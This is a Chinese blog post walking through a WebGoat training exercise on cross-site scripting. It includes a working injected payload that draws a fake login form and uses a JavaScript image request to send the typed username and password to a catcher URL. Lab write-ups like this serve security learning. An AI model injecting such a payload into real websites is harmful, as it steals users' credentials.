zoukankan      html  css  js  c++  java
  • 【WebGoat笔记】 CrossSite Scripting(XSS)

    目标:

    伪造一个登陆界面,要求用户输入用户名和密码,将数据提交到http://localhost/WebGoat/capture/PROPERTY=yes&ADD_CREDENTIALS_HERE

     

    解决步骤:

    首先:随意输入搜索内容,如:123.


    打开源代码,检测是否有未关闭的标签。由于这是一个入门级的练手任务,代码漏洞百出,这一层就不用考虑了。

    第二步:尝试在搜索栏中插入JavaScript代码,比如通用的:<script>alert("XSS!");</script>

    成功报出提示信息:

    值得注意的是,JS脚本语言的插入在我的机器上只能用IE实行,在chrome上则没有任何反应。可能是chrome所用脚本语言有所区别。

     

    第三步:构造代码,伪造一个登陆界面:

    <form><br><br><HR><H3>Thisfeature requires account login:</H3 ><br><br>EnterUsername:<br><input type="text" id="user"name="user"><br>Enter Password:<br><inputtype="password" name = "pass"><br><inputtype="submit" name="login" value="login"onclick="hack()"></form><br><br><HR> 
    其中,onclick="hack()"是用户点击登录之后的按钮行为,具体函数在随后构建。


    第四步:继续完善欺骗代码,构建JS函数,将获取的用户名和密码提交到相应的链接上。最后的输入代码如下:

    <script>functionhack(){alert("Had this been a real attack... Your credentials were juststolen. User Name="+document.forms[1].user.value+"Password="+document.forms[1].pass.value);var XSSImage=newImage();XSSImage.src="http://127.0.0.1:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[1].user.value + "&password=" +document.forms[1].pass.value + "";}</script><form><br><br><HR><H3>This featurerequires account login:</H3 ><br><br>EnterUsername:<br><input type="text" id="user"name="user"><br>Enter Password:<br><inputtype="password" name = "pass"><br><inputtype="submit" name="login" value="login"onclick="hack()"></form><br><br><HR> 

    这样,当被欺骗的用户输入用户名和密码之后,将报出提示信息,并将用户名和密码发送到相应链接。

    webgoat的提示说,如果创建一个image:XSSImage=newImage(),并声明XSSImage.src=SOME_URL那么JavaScript会执行一个提交。对JS语言不熟,这个今后再研究。

  • 相关阅读:
    Day 20 初识面向对象
    Day 16 常用模块
    Day 15 正则表达式 re模块
    D14 模块 导入模块 开发目录规范
    Day 13 迭代器,生成器,内置函数
    Day 12 递归,二分算法,推导式,匿名函数
    Day 11 闭包函数.装饰器
    D10 函数(二) 嵌套,命名空间作用域
    D09 函数(一) 返回值,参数
    Day 07 Day08 字符编码与文件处理
  • 原文地址:https://www.cnblogs.com/y0umer/p/3839115.html
Copyright © 2011-2022 走看看